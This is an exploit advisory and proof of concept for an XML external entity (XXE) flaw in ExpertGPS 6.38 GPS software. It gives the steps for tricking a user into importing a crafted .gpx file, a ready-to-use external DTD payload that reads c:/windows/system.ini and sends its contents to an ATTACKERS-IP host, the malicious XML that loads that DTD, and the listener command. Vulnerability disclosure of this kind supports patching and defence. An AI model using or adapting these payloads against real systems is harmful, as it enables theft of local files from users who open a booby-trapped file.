[+] Exploit Title: ExpertGPS 6.38 - XML External Entity Injection
[+] Date: 2019-12-07
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: https://www.topografix.com/
[+] Software Link: http://download.expertgps.com/SetupExpertGPS.exe

[+] Version: 6.38
[+] Tested on: Windows 10
[+] CVE: N/A

==================
Background:
==================
ExpertGPS 6.38 is GPS software, distributed by TopoGrafix, that is designed to sync with commercial off-the-shelf GPS devices (Garmin, Magellin, etc.) and organize GPS waypoint data. One of the main file formats for saving GPS data is the .gpx format which is based on XML.

==================
Vulnerability:
==================
By having a user import a crafted .gpx file (XML Based GPS data file), it is possible to execute a XXE injection which retrieves local files and exfiltrates them to a remote attacker.
1.)Open ExpertGPS.exe
2.)Select File -> Import Data from Other Programs...
3.)Select the crafted route.gpx file (with listener open on ATTACKERS-IP) and click "Open".

==================
Proof of Concept:
==================

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting payload.dtd)

b.) Hosted "payload.dtd"

<?xml version="1.0" encoding="utf-8" ?>
<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://ATTACKERS-IP?%data;'>">


c.) Exploited "route.xml"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/payload.dtd">
%sp;
%param1;
%exfil;
]>

==================
Additional Attack Vectors:
==================
There are numerous places in the software that allow for importing/opening a .gpx file. I did not test them all, but I strongly suspect them to all rely upon the same misconfigured XML Parser, and therefore be vulnerable to XXE.
